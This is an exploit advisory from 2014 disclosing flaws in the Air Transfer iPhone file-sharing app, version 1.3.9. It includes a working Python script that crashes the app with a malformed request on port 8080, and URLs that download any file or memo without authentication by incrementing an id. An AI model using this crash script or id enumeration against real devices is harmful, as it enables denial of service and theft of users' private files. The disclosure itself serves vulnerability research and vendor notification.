Air Transfer Iphone 1.3.9 - Multiple Vulnerabilities

# Exploit Title: Air Transfer Iphone v1.3.9 -Remote crash, Broken Authentication file download and Memo Access.
# Date: 08/23/2014
# Author: Samandeep Singh (SaMaN - @samanL33T )
# Vendor Homepage:http://www.darinsoft.co.kr/sub_htmls/airtransfer_guide.html 
				  https://itunes.apple.com/us/app/air-transfer/id521595136?mt=8
# Category: WebApp
# Version: 1.3.9
# Patch/ Fix: Not available
---------------------------------------------------

Disclosure Time line
=======================
[Aug. 19 2014]  Vendor Contacted
[Aug. 19 2014]  Vendor replied
[Aug. 19 2014]  Vendor Informed about vulnerability with POC.(No reply received)
[Aug. 21 2014]  Notified vendor about Public disclosure after 24 hours (No reply received)
[Aug. 23 2014]  Public Disclosure.

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Product & Service Details:
==========================
Air Transfer - Easy file sharing between PC and iPhone/iPad, File Manager with Document Viewer, Video Player, Music Player and Web Browser.

Features include:
-----------------

* The easiest way to transfer files between PC and iPhone/iPad ! 
* Just Drag & Drop your contents and Play: Text, Bookmark, Image and Photo, Music, Movie, Documents and more through wireless connection !



Vulnerability details
=========================
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Remote Application Crashing
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#!/usr/bin/python
import socket
import sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host=raw_input("Enter IP : ")
port=8080
def connect():
    try:
        s.connect((str(host),port))
    except socket.error:
        print "Error: couldn't connect"
        sys.exit()
    return "connected to target"
#Crashing the App
def crashing():
    req="GET /getList?category=categoryAll?pageNo=1&key= HTTP/1.1\r\n\r\n"
    try:
        s.sendall(req)
    except:
        print "Error occured, Couldn't crash App"
        sys.exit()
    return "Application Down, Conection closed"  
print connect()
print crashing()
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2. Broken Authentication - Memo access & File download.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To download any file simply visit:

http://<IP>:8080/?downloadSingle?id=1

Just by incrementing the value of "id" we can download all the files.  

TO view saved memos visit the below link:

http://<IP>:8080/getText?id=0


We can look for all the memos by incrementing the value of "id"



#SaMaN(@samanL33T)